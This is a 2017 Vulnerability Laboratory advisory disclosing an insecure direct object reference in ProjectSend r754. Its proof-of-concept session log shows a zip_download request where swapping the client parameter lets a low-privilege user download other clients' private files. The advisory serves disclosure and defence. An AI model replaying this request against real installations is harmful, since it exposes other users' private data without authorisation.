ProjectSend r754 - IDOR & Authentication Bypass Vulnerability
Vulnerability Laboratory ID (VL-ID):
Common Vulnerability Scoring System:
Product & Service Introduction:
ProjectSend is a self-hosted application (you can install it easily on your own VPS or shared web hosting account) that lets
you upload files and assign them to specific clients that you create yourself! Secure, private and easy. No more depending
on external services or e-mail to send those files.
(Copy of the Homepage: http://www.projectsend.org/ )
Abstract Advisory Information:
The vulnerability laboratory core research team discovered a idor and authentication bypass vulnerability in the ProjectSend-r754 web-application.
Vulnerability Disclosure Timeline:
2017-02-20: Public Disclosure (Vulnerability Laboratory)
GNU GPL License
Product: ProjectSend r754
Technical Details & Description:
An insecure direct object references occured in case of an application provides direct access to objects based on user-supplied input.
As a result of this vulnerability attackers can bypass authorization and to access resources in the system. Insecure Direct Object References
allows attackers to bypass authorization and access resources directly by modifying the value of a parameter[client] used. Thus finally point
to other client account names, which allows an attackers to download others clients private data with no secure method provided.
Proof of Concept (PoC):
The security vulnerability can be exploited by remote attackers with low privilege web-application user account and low user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.
1. User "A" as attacker checks a file to download as zip extension, then click download to modifiy values as required ...
2. Application responds with the client file list, so then you are able to download all other side user B data files with zip extension
--- PoC Session Logs ---
GET /ProjectSend-r754/process.php?do=zip_download&client=[CLIENTNAME]&files%5B%5D=2 HTTP/1.1
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:50.0) Gecko/20100101 Firefox/50.0
Accept-Encoding: gzip, deflate
HTTP/1.1 200 OK
Date: Sun, 05 Feb 2017 19:07:41 GMT
Server: Apache/2.2.22 (Debian)
Expires: Sat, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, max-age=0
Keep-Alive: timeout=5, max=100
Name of Files: .jpg
The security risk of the web vulnerability in the ProjectSend-r754 web-application function is estimated as medium. (CVSS 5.3)
Credits & Authors:
Lawrence Amer - Vulnerability Laboratory [Research Team] - (http://lawrenceamer.me) (https://www.vulnerability-lab.com/show.php?user=Lawrence Amer)
Disclaimer & Information:
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed
or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable
in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab
or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability mainly for
consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any licenses, policies,
deface websites, hack into databases or trade with stolen data.
Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com
Section: magazine.vulnerability-lab.com - vulnerability-lab.com/contact.php - evolution-sec.com/contact
Social: twitter.com/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab
Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php
Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register.php
Any modified copy or reproduction, including partially usages, of this file, resources or information requires authorization from Vulnerability Laboratory.
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by
Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark
of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or edit our material contact (admin@) to get a ask permission.
Copyright © 2017 | Vulnerability Laboratory - [Evolution Security GmbH]™